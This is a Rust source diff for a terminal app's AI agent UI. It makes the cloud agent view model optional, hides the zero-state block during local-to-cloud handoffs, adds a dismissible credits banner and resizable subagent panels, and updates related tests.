|
||||
ENTER_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE, ENTER_CLOUD_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE,
|
||||
};
|
||||
use crate::ai::blocklist::history_model::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel};
|
||||
use crate::ai::conversation_navigation::ConversationNavigationData;
|
||||
use crate::appearance::Appearance;
|
||||
use crate::changelog_model::{self, ChangelogModel};
|
||||
use crate::settings::{AISettings, AISettingsChangedEvent};
|
||||
use crate::terminal::event::BlockType;
|
||||
use crate::terminal::input::message_bar::common::render_standard_message;
|
||||
use crate::terminal::input::message_bar::{Message, MessageItem};
|
||||
use crate::terminal::model::blocks::BlockHeightItem;
|
||||
use crate::terminal::model::session::{BootstrapSessionType, Session, SessionType, Sessions};
|
||||
use crate::terminal::model_events::{AnsiHandlerEvent, ModelEvent, ModelEventDispatcher};
|
||||
use crate::terminal::view::ambient_agent::{AmbientAgentViewModel, AmbientAgentViewModelEvent};
|
||||
use crate::terminal::view::TerminalAction;
|
||||
use crate::terminal::{self, prompt, TerminalModel};
|
||||
use crate::util::time_format::format_approx_duration_from_now_utc;
|
||||
|
||||
const CLOUD_AGENT_DOCS_URL: &str = "https://docs.warp.dev/agent-platform/cloud-agents/overview";
|
||||
const OZ_UPDATES_SECTION_HEADER: &str = "What's new in Oz";
|
||||
@@ -97,13 +93,14 @@ impl AgentViewZeroStateBlock {
|
||||
origin: AgentViewEntryOrigin,
|
||||
agent_view_controller: ModelHandle<AgentViewController>,
|
||||
sessions: &ModelHandle<Sessions>,
|
||||
cloud_agent_view_model: &ModelHandle<AmbientAgentViewModel>,
|
||||
cloud_agent_view_model: Option<&ModelHandle<AmbientAgentViewModel>>,
|
||||
terminal_model: Arc<FairMutex<TerminalModel>>,
|
||||
model_events_dispatcher: &ModelHandle<ModelEventDispatcher>,
|
||||
should_show_init_callout: bool,
|
||||
ctx: &mut ViewContext<Self>,
|
||||
) -> Self {
|
||||
let cloud_agent_view_model_clone = cloud_agent_view_model.clone();
|
||||
let cloud_agent_view_model_clone = cloud_agent_view_model.cloned();
|
||||
|
||||
let model_events_clone = model_events_dispatcher.clone();
|
||||
ctx.subscribe_to_model(
|
||||
&BlocklistAIHistoryModel::handle(ctx),
|
||||
@@ -116,7 +113,10 @@ impl AgentViewZeroStateBlock {
|
||||
me.should_hide = true;
|
||||
ctx.unsubscribe_to_model(&model_events_clone);
|
||||
ctx.unsubscribe_to_model(&history_model);
|
||||
ctx.unsubscribe_to_model(&cloud_agent_view_model_clone);
|
||||
if let Some(cloud_agent_view_model) = cloud_agent_view_model_clone.as_ref()
|
||||
{
|
||||
ctx.unsubscribe_to_model(cloud_agent_view_model);
|
||||
}
|
||||
ctx.notify();
|
||||
return;
|
||||
}
|
||||
@@ -140,7 +140,7 @@ impl AgentViewZeroStateBlock {
|
||||
ctx.notify();
|
||||
});
|
||||
|
||||
let cloud_agent_view_model_clone = cloud_agent_view_model.clone();
|
||||
let cloud_agent_view_model_clone = cloud_agent_view_model.cloned();
|
||||
ctx.subscribe_to_model(
|
||||
model_events_dispatcher,
|
||||
move |me, model_events_dispatcher, event, ctx| {
|
||||
@@ -152,7 +152,11 @@ impl AgentViewZeroStateBlock {
|
||||
me.should_hide = true;
|
||||
ctx.unsubscribe_to_model(&model_events_dispatcher);
|
||||
ctx.unsubscribe_to_model(&BlocklistAIHistoryModel::handle(ctx));
|
||||
ctx.unsubscribe_to_model(&cloud_agent_view_model_clone);
|
||||
if let Some(cloud_agent_view_model) =
|
||||
cloud_agent_view_model_clone.as_ref()
|
||||
{
|
||||
ctx.unsubscribe_to_model(cloud_agent_view_model);
|
||||
}
|
||||
ctx.notify();
|
||||
}
|
||||
}
|
||||
@@ -166,34 +170,46 @@ impl AgentViewZeroStateBlock {
|
||||
},
|
||||
);
|
||||
|
||||
let model_events_clone = model_events_dispatcher.clone();
|
||||
ctx.subscribe_to_model(cloud_agent_view_model, move |me, model, event, ctx| {
|
||||
if FeatureFlag::CloudModeSetupV2.is_enabled() {
|
||||
match event {
|
||||
AmbientAgentViewModelEvent::DispatchedAgent
|
||||
| AmbientAgentViewModelEvent::Cancelled
|
||||
if !me.should_hide =>
|
||||
{
|
||||
me.should_hide = true;
|
||||
ctx.unsubscribe_to_model(&model);
|
||||
ctx.unsubscribe_to_model(&model_events_clone);
|
||||
ctx.unsubscribe_to_model(&BlocklistAIHistoryModel::handle(ctx));
|
||||
ctx.notify();
|
||||
}
|
||||
_ => (),
|
||||
if let Some(cloud_agent_view_model) = cloud_agent_view_model {
|
||||
let model_events_clone = model_events_dispatcher.clone();
|
||||
ctx.subscribe_to_model(cloud_agent_view_model, move |me, model, event, ctx| {
|
||||
if me.should_hide {
|
||||
return;
|
||||
}
|
||||
} else if model.as_ref(ctx).should_show_status_footer() {
|
||||
me.should_hide = true;
|
||||
ctx.unsubscribe_to_model(&model);
|
||||
ctx.unsubscribe_to_model(&model_events_clone);
|
||||
ctx.unsubscribe_to_model(&BlocklistAIHistoryModel::handle(ctx));
|
||||
ctx.notify();
|
||||
}
|
||||
});
|
||||
|
||||
let cloud_agent_view = cloud_agent_view_model.as_ref(ctx);
|
||||
// Hide the zero state when this pane becomes a local-to-cloud handoff
|
||||
// pane (REMOTE-1486). The fresh cloud-mode banner is suppressed because
|
||||
// the pane is actually pre-loaded with a forked source conversation, not
|
||||
// a brand-new one.
|
||||
if matches!(event, AmbientAgentViewModelEvent::PendingHandoffChanged)
|
||||
&& model.as_ref(ctx).is_local_to_cloud_handoff()
|
||||
{
|
||||
me.should_hide = true;
|
||||
} else if FeatureFlag::CloudModeSetupV2.is_enabled() {
|
||||
if matches!(
|
||||
event,
|
||||
AmbientAgentViewModelEvent::DispatchedAgent
|
||||
| AmbientAgentViewModelEvent::Cancelled
|
||||
) {
|
||||
me.should_hide = true;
|
||||
}
|
||||
} else if model.as_ref(ctx).should_show_status_footer() {
|
||||
me.should_hide = true;
|
||||
}
|
||||
|
||||
if me.should_hide {
|
||||
ctx.unsubscribe_to_model(&model);
|
||||
ctx.unsubscribe_to_model(&model_events_clone);
|
||||
ctx.unsubscribe_to_model(&BlocklistAIHistoryModel::handle(ctx));
|
||||
ctx.notify();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
let has_parent_terminal =
|
||||
!cloud_agent_view.is_ambient_agent() || cloud_agent_view.has_parent_terminal();
|
||||
cloud_agent_view_model.is_none_or(|model| !model.as_ref(ctx).is_ambient_agent());
|
||||
let is_local_to_cloud_handoff = cloud_agent_view_model
|
||||
.is_some_and(|model| model.as_ref(ctx).is_local_to_cloud_handoff());
|
||||
let changelog_model = ChangelogModel::handle(ctx);
|
||||
ctx.subscribe_to_model(&changelog_model, |me, changelog_model, event, ctx| {
|
||||
if let changelog_model::Event::ChangelogRequestComplete { .. } = event {
|
||||
@@ -230,6 +246,10 @@ impl AgentViewZeroStateBlock {
|
||||
Self::recent_conversations_for_working_directory(current_working_directory, ctx)
|
||||
})
|
||||
.unwrap_or_default();
|
||||
let should_hide = matches!(origin, AgentViewEntryOrigin::AcceptedPassiveCodeDiff)
|
||||
|| is_local_to_cloud_handoff;
|
||||
let is_oz_updates_expanded = !origin.is_cloud_agent()
|
||||
&& *AISettings::handle(ctx).as_ref(ctx).should_expand_oz_updates;
|
||||
|
||||
Self {
|
||||
conversation_id,
|
||||
@@ -239,11 +259,11 @@ impl AgentViewZeroStateBlock {
|
||||
terminal_model,
|
||||
current_working_directory,
|
||||
cached_recent_conversations,
|
||||
should_hide: matches!(origin, AgentViewEntryOrigin::AcceptedPassiveCodeDiff),
|
||||
should_hide,
|
||||
should_show_init_callout,
|
||||
has_parent_terminal,
|
||||
state_handles,
|
||||
is_oz_updates_expanded: false,
|
||||
is_oz_updates_expanded,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -402,7 +422,7 @@ impl View for AgentViewZeroStateBlock {
|
||||
let active_session = self.active_session(app);
|
||||
let body = render_body(
|
||||
ZeroStateBodyProps {
|
||||
origin: self.origin,
|
||||
origin: self.origin.clone(),
|
||||
has_parent_terminal: self.has_parent_terminal,
|
||||
should_show_init_callout: self.should_show_init_callout,
|
||||
recent_conversations: &self.cached_recent_conversations,
|
||||
@@ -681,7 +701,11 @@ fn render_body(props: ZeroStateBodyProps<'_>, app: &AppContext) -> Vec<Box<dyn E
|
||||
MessageItem::text("start a new agent conversation"),
|
||||
],
|
||||
|ctx| {
|
||||
ctx.dispatch_typed_action(TerminalAction::StartNewAgentConversation);
|
||||
ctx.dispatch_typed_action(TerminalAction::StartNewAgentConversation {
|
||||
origin: AgentViewEntryOrigin::Input {
|
||||
was_prompt_autodetected: false,
|
||||
},
|
||||
});
|
||||
},
|
||||
state_handles.start_new_conversation.clone(),
|
||||
)]),
|
||||
@@ -1145,14 +1169,19 @@ fn render_oz_updates(props: OzUpdatesProps<'_>, app: &AppContext) -> Option<Box<
|
||||
}
|
||||
|
||||
/// Renders the ambient credits banner showing free cloud credits.
|
||||
/// If `link_mouse_state` is provided, a "Launch cloud agent" link is shown.
|
||||
pub fn render_ambient_credits_banner(credits: i32, app: &AppContext) -> Box<dyn Element> {
|
||||
pub fn render_ambient_credits_banner<A>(
|
||||
credits: i32,
|
||||
close_button_mouse_state: MouseStateHandle,
|
||||
dismiss_action: A,
|
||||
app: &AppContext,
|
||||
) -> Box<dyn Element>
|
||||
where
|
||||
A: Action + Clone + 'static,
|
||||
{
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
let font_family = appearance.ui_font_family();
|
||||
let font_size = styles::CREDITS_BANNER_FONT_SIZE;
|
||||
|
||||
// Use ANSI terminal colors for the pill styling.
|
||||
let text_color = theme.terminal_colors().normal.blue;
|
||||
|
||||
let credits_text = format!("{credits} free cloud agent credits");
|
||||
@@ -1161,8 +1190,26 @@ pub fn render_ambient_credits_banner(credits: i32, app: &AppContext) -> Box<dyn
|
||||
.with_style(Properties::default().weight(Weight::Semibold))
|
||||
.soft_wrap(false)
|
||||
.finish();
|
||||
let close_button = appearance
|
||||
.ui_builder()
|
||||
.close_button(12., close_button_mouse_state)
|
||||
.with_style(UiComponentStyles {
|
||||
font_color: Some(text_color.into()),
|
||||
..Default::default()
|
||||
})
|
||||
.build()
|
||||
.on_click(move |ctx, _, _| {
|
||||
ctx.dispatch_typed_action(dismiss_action.clone());
|
||||
})
|
||||
.finish();
|
||||
|
||||
Container::new(text)
|
||||
let content = Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Center)
|
||||
.with_child(text)
|
||||
.with_child(Container::new(close_button).with_margin_left(4.).finish())
|
||||
.finish();
|
||||
|
||||
Container::new(content)
|
||||
.with_border(Border::all(1.).with_border_color(text_color.into()))
|
||||
.with_corner_radius(CornerRadius::with_all(Radius::Percentage(50.)))
|
||||
.with_vertical_padding(2.)
|
||||
|
||||
@@ -1,14 +1,16 @@
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
|
||||
use warpui::r#async::executor::Background;
|
||||
|
||||
use super::{display_working_directory, format_session_location, should_render_oz_updates_section};
|
||||
use crate::ai::blocklist::agent_view::zero_state_block::current_working_directory_for_zero_state;
|
||||
use crate::terminal::model::ansi::{Handler, InitShellValue, PrecmdValue, SSHValue};
|
||||
use crate::terminal::color::{self, Colors};
|
||||
use crate::terminal::event_listener::ChannelEventListener;
|
||||
use crate::terminal::model::ansi::{Handler, InitShellValue, PromptMetadata, SSHValue};
|
||||
use crate::terminal::model::session::Session;
|
||||
use crate::terminal::model::test_utils::block_size;
|
||||
use crate::terminal::model::{session::Session, TerminalModel};
|
||||
use crate::terminal::{
|
||||
color::{self, Colors},
|
||||
event_listener::ChannelEventListener,
|
||||
};
|
||||
use galaxyui::r#async::executor::Background;
|
||||
use std::{path::PathBuf, sync::Arc};
|
||||
use crate::terminal::model::TerminalModel;
|
||||
|
||||
fn terminal_with_startup_path(startup_path: Option<&str>) -> TerminalModel {
|
||||
TerminalModel::new_for_test(
|
||||
@@ -76,9 +78,9 @@ fn display_working_directory_abbreviates_subdirectory_under_home() {
|
||||
#[test]
|
||||
fn cwd_for_recent_conversations_prefers_active_block_pwd() {
|
||||
let mut terminal = prebootstrap_terminal_with_startup_path("/startup/path");
|
||||
terminal.precmd(PrecmdValue {
|
||||
terminal.prompt_only_precmd(PromptMetadata {
|
||||
pwd: Some("/active/path".to_owned()),
|
||||
session_id: Some(0),
|
||||
session_id: Some(123),
|
||||
..Default::default()
|
||||
});
|
||||
|
||||
@@ -96,7 +98,12 @@ fn cwd_for_recent_conversations_uses_startup_path_before_bootstrap_for_local_ses
|
||||
#[test]
|
||||
fn cwd_for_recent_conversations_does_not_use_startup_path_for_pending_ssh_bootstrap() {
|
||||
let mut terminal = prebootstrap_terminal_with_startup_path("/startup/path");
|
||||
terminal.ssh(SSHValue::default());
|
||||
|
||||
terminal.ssh(SSHValue {
|
||||
session_id: Some(123),
|
||||
remote_session_id: Some(456),
|
||||
..Default::default()
|
||||
});
|
||||
let cwd = current_working_directory_for_zero_state(&terminal);
|
||||
assert_eq!(cwd, None);
|
||||
}
|
||||
|
||||
+972
-358
File diff suppressed because it is too large
Load Diff
+170
-143
@@ -1,48 +1,58 @@
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::report_error;
|
||||
use galaxy_core::ui::theme::color::internal_colors;
|
||||
use galaxyui::elements::new_scrollable::SingleAxisConfig;
|
||||
use galaxyui::elements::{
|
||||
ClippedScrollStateHandle, ConstrainedBox, Empty, Fill, FormattedTextElement, Highlight,
|
||||
HighlightedHyperlink, Hoverable, MainAxisAlignment, MainAxisSize, NewScrollable, SavePosition,
|
||||
SelectableArea, SizeConstraintCondition, SizeConstraintSwitch,
|
||||
};
|
||||
use galaxyui::fonts::Weight;
|
||||
use galaxyui::platform::{Cursor, OperatingSystem};
|
||||
use galaxyui::ui_components::components::{Coords, UiComponent, UiComponentStyles};
|
||||
use parking_lot::{FairMutex, RwLock};
|
||||
use pathfinder_color::ColorU;
|
||||
use settings::Setting as _;
|
||||
use std::cmp::Ordering;
|
||||
use std::path::Path;
|
||||
use std::rc::Rc;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use std::{cmp::Ordering, rc::Rc};
|
||||
|
||||
use lazy_static::lazy_static;
|
||||
use markdown_parser::{FormattedText, FormattedTextFragment, FormattedTextLine};
|
||||
use parking_lot::{FairMutex, RwLock};
|
||||
use pathfinder_color::ColorU;
|
||||
use pathfinder_geometry::vector::vec2f;
|
||||
|
||||
use settings::Setting as _;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::report_error;
|
||||
use galaxy_core::semantic_selection::SemanticSelection;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_editor::{
|
||||
content::buffer::InitialBufferState, render::element::VerticalExpansionBehavior,
|
||||
use galaxy_core::ui::theme::color::internal_colors;
|
||||
use galaxy_editor::content::buffer::InitialBufferState;
|
||||
use galaxy_editor::render::element::VerticalExpansionBehavior;
|
||||
use galaxyui::clipboard::ClipboardContent;
|
||||
use galaxyui::elements::new_scrollable::SingleAxisConfig;
|
||||
use galaxyui::elements::{
|
||||
resizable_state_handle, Border, ChildAnchor, ChildView, ClippedScrollStateHandle,
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, DragBarSide, DropShadow, Empty,
|
||||
Expanded, Fill, Flex, FormattedTextElement, Highlight, HighlightedHyperlink, Hoverable,
|
||||
MainAxisAlignment, MainAxisSize, MouseStateHandle, NewScrollable, OffsetPositioning,
|
||||
ParentElement, PositionedElementAnchor, PositionedElementOffsetBounds, Radius, Resizable,
|
||||
ResizableStateHandle, SavePosition, SelectableArea, SelectionHandle, Shrinkable,
|
||||
SizeConstraintCondition, SizeConstraintSwitch, Stack, Text,
|
||||
};
|
||||
use galaxyui::r#async::Timer;
|
||||
use galaxyui::fonts::{Properties, Style, Weight};
|
||||
use galaxyui::keymap::{EditableBinding, Keystroke};
|
||||
use galaxyui::platform::{Cursor, OperatingSystem};
|
||||
use galaxyui::r#async::{SpawnedFutureHandle, Timer};
|
||||
use galaxyui::ui_components::components::{Coords, UiComponent, UiComponentStyles};
|
||||
use galaxyui::{
|
||||
clipboard::ClipboardContent,
|
||||
elements::{
|
||||
Border, ChildAnchor, ChildView, Container, CornerRadius, CrossAxisAlignment, DropShadow,
|
||||
Expanded, Flex, MouseStateHandle, OffsetPositioning, ParentElement,
|
||||
PositionedElementAnchor, PositionedElementOffsetBounds, Radius, SelectionHandle,
|
||||
Shrinkable, Stack, Text,
|
||||
},
|
||||
fonts::{Properties, Style},
|
||||
keymap::{EditableBinding, Keystroke},
|
||||
r#async::SpawnedFutureHandle,
|
||||
AppContext, Element, Entity, EntityId, ModelHandle, SingletonEntity, TypedActionView, View,
|
||||
ViewContext, ViewHandle,
|
||||
};
|
||||
use markdown_parser::{FormattedText, FormattedTextFragment, FormattedTextLine};
|
||||
|
||||
use crate::ai::agent::{AIAgentPtyWriteMode, CancellationReason};
|
||||
use super::cli_controller::{CLISubagentController, CLISubagentEvent, UserTakeOverReason};
|
||||
use super::model::{AIBlockModel, AIBlockModelHelper, AIBlockModelImpl, AIBlockOutputStatus};
|
||||
use super::view_impl::common::{
|
||||
render_debug_footer, render_failed_output, render_informational_footer, render_text_sections,
|
||||
DebugFooterProps, FailedOutputProps, TextSectionsProps,
|
||||
};
|
||||
use super::view_impl::output::are_all_text_sections_empty;
|
||||
use super::{EmbeddedCodeEditorView, SecretRedactionState, TableSectionHandles};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::icons::yellow_stop_icon;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentActionType, AIAgentInput, AIAgentOutput, AIAgentOutputMessageType, AIAgentPtyWriteMode,
|
||||
AIAgentText, AIAgentTextSection, CancellationReason, ProgrammingLanguage, WebSearchStatus,
|
||||
};
|
||||
use crate::ai::blocklist::block::view_impl::common::{
|
||||
render_query_text, UserQueryProps, BLOCKED_ACTION_MESSAGE_FOR_GREP_OR_FILE_GLOB,
|
||||
BLOCKED_ACTION_MESSAGE_FOR_READING_FILES, BLOCKED_ACTION_MESSAGE_FOR_SEARCHING_CODEBASE,
|
||||
@@ -51,72 +61,47 @@ use crate::ai::blocklist::block::view_impl::common::{
|
||||
LOAD_OUTPUT_MESSAGE_FOR_READING_FILES, LOAD_OUTPUT_MESSAGE_FOR_SEARCH_CODEBASE,
|
||||
LOAD_OUTPUT_MESSAGE_FOR_WEB_SEARCH,
|
||||
};
|
||||
use crate::ai::blocklist::block::TextLocation;
|
||||
use crate::ai::blocklist::code_block::CodeSnippetButtonHandles;
|
||||
use crate::ai::blocklist::inline_action::inline_action_icons::icon_size;
|
||||
use crate::ai::blocklist::permissions::is_agent_mode_autonomy_allowed;
|
||||
use crate::ai::blocklist::{
|
||||
BlocklistAIActionModel, BlocklistAIHistoryEvent, BlocklistAIPermissions,
|
||||
};
|
||||
use crate::ai::control_code_parser::{parse_control_codes_from_bytes, ParsedControlCodeOutput};
|
||||
use crate::code::editor::view::{CodeEditorEvent, CodeEditorRenderOptions};
|
||||
use crate::menu::MenuItemFields;
|
||||
use crate::send_telemetry_from_ctx;
|
||||
use crate::ai::execution_profiles::profiles::{
|
||||
AIExecutionProfilesModel, AIExecutionProfilesModelEvent,
|
||||
};
|
||||
use crate::code::editor::view::{CodeEditorEvent, CodeEditorRenderOptions, CodeEditorView};
|
||||
use crate::code::editor_management::CodeSource;
|
||||
use crate::editor::InteractionState;
|
||||
use crate::menu::{Event as MenuEvent, Menu, MenuItemFields, MenuVariant};
|
||||
use crate::server::telemetry::TelemetryEvent;
|
||||
use crate::settings::AISettings;
|
||||
use crate::settings_view::SettingsSection;
|
||||
use crate::terminal::input::SET_INPUT_MODE_TERMINAL_ACTION_NAME;
|
||||
use crate::terminal::model::block::BlockId;
|
||||
use crate::terminal::safe_mode_settings::get_secret_obfuscation_mode;
|
||||
use crate::terminal::{ShellLaunchData, TerminalModel};
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::util::link_detection::{detect_links, DetectedLinksState};
|
||||
use crate::view_components::action_button::{
|
||||
ButtonSize, KeystrokeSource, NakedTheme, PrimaryTheme,
|
||||
};
|
||||
use crate::view_components::compactible_action_button::{
|
||||
render_compact_and_regular_button_rows, CompactibleActionButton, RenderCompactibleActionButton,
|
||||
};
|
||||
use crate::view_components::compactible_split_action_button::CompactibleSplitActionButton;
|
||||
use crate::view_components::DismissibleToast;
|
||||
use crate::workspace::WorkspaceAction;
|
||||
use crate::ToastStack;
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, task::TaskId, AIAgentActionType, AIAgentOutput,
|
||||
AIAgentOutputMessageType, AIAgentText, AIAgentTextSection, ProgrammingLanguage,
|
||||
WebSearchStatus,
|
||||
},
|
||||
blocklist::{
|
||||
code_block::CodeSnippetButtonHandles, BlocklistAIActionModel, BlocklistAIHistoryEvent,
|
||||
BlocklistAIPermissions,
|
||||
},
|
||||
execution_profiles::profiles::{AIExecutionProfilesModel, AIExecutionProfilesModelEvent},
|
||||
},
|
||||
code::{editor::view::CodeEditorView, editor_management::CodeSource},
|
||||
editor::InteractionState,
|
||||
menu::{Event as MenuEvent, Menu, MenuVariant},
|
||||
settings_view::SettingsSection,
|
||||
terminal::safe_mode_settings::get_secret_obfuscation_mode,
|
||||
ui_components::{blended_colors, icons::Icon},
|
||||
view_components::{
|
||||
action_button::{ButtonSize, KeystrokeSource, NakedTheme, PrimaryTheme},
|
||||
compactible_action_button::{
|
||||
render_compact_and_regular_button_rows, CompactibleActionButton,
|
||||
RenderCompactibleActionButton,
|
||||
},
|
||||
compactible_split_action_button::CompactibleSplitActionButton,
|
||||
},
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
|
||||
use crate::ai::agent::AIAgentInput;
|
||||
use crate::ai::blocklist::block::TextLocation;
|
||||
use crate::util::link_detection::{detect_links, DetectedLinksState};
|
||||
|
||||
use crate::ai::agent::icons::yellow_stop_icon;
|
||||
use crate::ai::blocklist::inline_action::inline_action_icons::icon_size;
|
||||
|
||||
use super::cli_controller::{CLISubagentController, CLISubagentEvent, UserTakeOverReason};
|
||||
use super::model::AIBlockModelHelper;
|
||||
use super::TableSectionHandles;
|
||||
use super::{
|
||||
model::{AIBlockModel, AIBlockModelImpl, AIBlockOutputStatus},
|
||||
view_impl::{
|
||||
common::{
|
||||
render_debug_footer, render_failed_output, render_informational_footer,
|
||||
render_text_sections, DebugFooterProps, FailedOutputProps, TextSectionsProps,
|
||||
},
|
||||
output::are_all_text_sections_empty,
|
||||
},
|
||||
EmbeddedCodeEditorView, SecretRedactionState,
|
||||
};
|
||||
use crate::{send_telemetry_from_ctx, BlocklistAIHistoryModel, ToastStack};
|
||||
const MENU_WIDTH: f32 = 200.0;
|
||||
const MAX_HEIGHT: f32 = 320.0;
|
||||
const MIN_RESIZABLE_WIDTH: f32 = 360.0;
|
||||
const MIN_RESIZABLE_HEIGHT: f32 = 40.0;
|
||||
const MIN_REMAINING_WINDOW_WIDTH: f32 = 200.0;
|
||||
const MIN_REMAINING_WINDOW_HEIGHT: f32 = 100.0;
|
||||
const AVATAR_RIGHT_MARGIN: f32 = 8.;
|
||||
const CONTENT_PADDING: f32 = 12.;
|
||||
const ALLOW_ACTION_POSITION_ID: &str = "allow-action-position-id";
|
||||
@@ -145,7 +130,8 @@ const HAS_PENDING_NON_TRANSFER_CONTROL_ACTION_CONTEXT_KEY: &str =
|
||||
const BLOCKED_ACTION_MESSAGE_FOR_TRANSFER_CONTROL: &str = "Agent is asking you to take control.";
|
||||
|
||||
pub fn init(app: &mut AppContext) {
|
||||
use galaxyui::keymap::{macros::*, FixedBinding};
|
||||
use galaxyui::keymap::macros::*;
|
||||
use galaxyui::keymap::FixedBinding;
|
||||
|
||||
app.register_fixed_bindings([
|
||||
FixedBinding::new(
|
||||
@@ -234,6 +220,8 @@ pub struct CLISubagentView {
|
||||
|
||||
is_input_dismissed: bool,
|
||||
input_dismiss_timer_handle: Option<SpawnedFutureHandle>,
|
||||
resizable_width: ResizableStateHandle,
|
||||
resizable_height: ResizableStateHandle,
|
||||
|
||||
current_working_directory: Option<String>,
|
||||
shell_launch_data: Option<ShellLaunchData>,
|
||||
@@ -488,6 +476,8 @@ impl CLISubagentView {
|
||||
always_allow_read_files_checked,
|
||||
is_input_dismissed: false,
|
||||
input_dismiss_timer_handle: None,
|
||||
resizable_width: resizable_state_handle(MIN_RESIZABLE_WIDTH),
|
||||
resizable_height: resizable_state_handle(MAX_HEIGHT),
|
||||
current_working_directory,
|
||||
shell_launch_data,
|
||||
selected_text: Arc::new(RwLock::new(None)),
|
||||
@@ -734,9 +724,8 @@ impl CLISubagentView {
|
||||
.and_then(|language| language.to_extension())
|
||||
{
|
||||
// Since this is a code snippet, construct a fake path name for looking up the language.
|
||||
let fake_path_string = format!("snippet.{extension}");
|
||||
let fake_path = std::path::Path::new(&fake_path_string);
|
||||
view.set_language_with_path(fake_path, ctx);
|
||||
let fake_path = format!("/snippet.{extension}");
|
||||
view.set_language_with_local_path(Path::new(&fake_path), ctx);
|
||||
}
|
||||
}
|
||||
let starting_line_number = source.as_ref().and_then(|s| {
|
||||
@@ -977,6 +966,11 @@ impl View for CLISubagentView {
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
let semantic_selection = SemanticSelection::handle(app).as_ref(app);
|
||||
let resizable_height = self
|
||||
.resizable_height
|
||||
.lock()
|
||||
.map(|g| g.size())
|
||||
.unwrap_or(MAX_HEIGHT);
|
||||
|
||||
let mut result = Flex::column()
|
||||
.with_main_axis_size(MainAxisSize::Min)
|
||||
@@ -1035,6 +1029,7 @@ impl View for CLISubagentView {
|
||||
child: selectable_text.finish(),
|
||||
background_color: internal_colors::accent_bg(theme).into(),
|
||||
border: Some(Border::all(1.).with_border_fill(theme.accent())),
|
||||
max_height: resizable_height,
|
||||
},
|
||||
app,
|
||||
)
|
||||
@@ -1148,6 +1143,7 @@ impl View for CLISubagentView {
|
||||
border: Some(Border::all(1.).with_border_fill(
|
||||
internal_colors::neutral_3(theme),
|
||||
)),
|
||||
max_height: resizable_height,
|
||||
},
|
||||
app,
|
||||
)
|
||||
@@ -1175,6 +1171,7 @@ impl View for CLISubagentView {
|
||||
internal_colors::neutral_3(theme),
|
||||
),
|
||||
),
|
||||
max_height: resizable_height,
|
||||
},
|
||||
app,
|
||||
)
|
||||
@@ -1190,57 +1187,64 @@ impl View for CLISubagentView {
|
||||
|
||||
let mut output_border = Border::all(1.).with_border_fill(internal_colors::neutral_3(theme));
|
||||
if let AIBlockOutputStatus::Failed { error, .. } = &status {
|
||||
output_border = Border::all(1.).with_border_color(theme.ui_error_color());
|
||||
output_items.add_child(render_failed_output(
|
||||
FailedOutputProps {
|
||||
error,
|
||||
is_ai_input_enabled: false,
|
||||
invalid_api_key_button_handle: &self
|
||||
.state_handles
|
||||
.invalid_api_key_button_handle,
|
||||
aws_bedrock_credentials_error_view: None,
|
||||
icon_right_margin: AVATAR_RIGHT_MARGIN,
|
||||
},
|
||||
app,
|
||||
));
|
||||
// While an automatic resume is still in flight, keep the failed exchange
|
||||
// quiet: don't switch to the error border, and skip the banner, the "won't
|
||||
// count towards usage" notice, and the debug footer. The full failure UI is
|
||||
// surfaced only once recovery has actually failed. Dogfood builds (Local/Dev)
|
||||
// opt out so developers still see every transport failure aggressively.
|
||||
if !error.should_suppress_during_recovery() {
|
||||
output_border = Border::all(1.).with_border_color(theme.ui_error_color());
|
||||
output_items.add_child(render_failed_output(
|
||||
FailedOutputProps {
|
||||
error,
|
||||
is_ai_input_enabled: false,
|
||||
invalid_api_key_button_handle: &self
|
||||
.state_handles
|
||||
.invalid_api_key_button_handle,
|
||||
aws_bedrock_credentials_error_view: None,
|
||||
icon_right_margin: AVATAR_RIGHT_MARGIN,
|
||||
},
|
||||
app,
|
||||
));
|
||||
|
||||
if !self.model.is_restored() && !error.is_invalid_api_key() {
|
||||
output_items.add_child(
|
||||
Container::new(render_informational_footer(
|
||||
app,
|
||||
"This response won't count towards your usage. \"Take over\" to continue."
|
||||
.to_string(),
|
||||
))
|
||||
.with_margin_top(8.)
|
||||
.with_margin_left(icon_size(app) + AVATAR_RIGHT_MARGIN)
|
||||
.finish(),
|
||||
);
|
||||
if !self.model.is_restored() && !error.is_invalid_api_key() {
|
||||
output_items.add_child(
|
||||
Container::new(render_informational_footer(
|
||||
app,
|
||||
"This response won't count towards your usage. \"Take over\" to continue."
|
||||
.to_string(),
|
||||
))
|
||||
.with_margin_top(8.)
|
||||
.with_margin_left(icon_size(app) + AVATAR_RIGHT_MARGIN)
|
||||
.finish(),
|
||||
);
|
||||
|
||||
output_items.add_child(
|
||||
Container::new(render_debug_footer(
|
||||
DebugFooterProps {
|
||||
conversation: self.model.conversation(app),
|
||||
model: self.model.as_ref(),
|
||||
debug_copy_button_handle: self
|
||||
.state_handles
|
||||
.debug_copy_button_handle
|
||||
.clone(),
|
||||
submit_issue_button_handle: self
|
||||
.state_handles
|
||||
.submit_issue_button_handle
|
||||
.clone(),
|
||||
should_render_feedback_below: true,
|
||||
},
|
||||
|debug_id, ctx| {
|
||||
ctx.dispatch_typed_action(CLISubagentAction::CopyDebugId(debug_id))
|
||||
},
|
||||
|ctx| ctx.dispatch_typed_action(CLISubagentAction::OpenFeedbackDocs),
|
||||
app,
|
||||
))
|
||||
.with_margin_top(8.)
|
||||
